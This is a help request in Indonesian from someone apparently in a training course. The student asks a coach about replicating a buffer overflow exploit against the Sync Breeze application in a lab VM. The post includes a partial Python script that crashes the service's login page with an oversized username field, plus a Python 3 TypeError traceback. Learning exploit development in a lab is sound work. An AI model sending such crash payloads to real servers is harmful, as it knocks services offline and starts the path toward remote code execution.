Dear Coach, pada saat menjalankan sesi Replika Exploit Buffer Overflow Aplikasi Sync Breeze ada 2 kendala yang saya hadapi:
1. Kali Linux dan Immunity Debugger-nya gak bisa connect, padahal semua settingannya sudah sesuai dan saya juga sudah ping by IP address ke Win7 di VM bisa connect.
2. Pada saat menjalankan command python exploit.py ada error:
Traceback (most recent call last):
File “/home/kali/Desktop/exploit_dev/exploit.py”, line 21, in <module>
s.send(buffer)
TypeError: a bytes-like object is required, not ‘str’
Ini code lengkapnya di nano:
import socket
crash= “A” * 2000
fuzz=”username=”+crash+”&password=A”
buffer=”POST /login HTTP/1.1\r\n”
buffer+=”Host: 192.168.211.149\r\n”
buffer+=”User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0\r\n”
buffer+=”Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n”
buffer+=”Accept-Language: en-US,en;q=0.5\r\n”
buffer+=”Referer: http://192.168.211.149/login\r\n”
buffer+=”Connection: close\r\n”
buffer+=”Content-Type: application/x-www-form-urlencoded\r\n”
buffer+=”Content-Length: “+str(len(fuzz))+”\r\n”
buffer+=”\r\n”
buffer+=fuzz
s = socket.socket()
s.connect((“192.168.254.145”,80))
s.send(buffer)
s.close()
Kindly help me with your feedback.
Thanks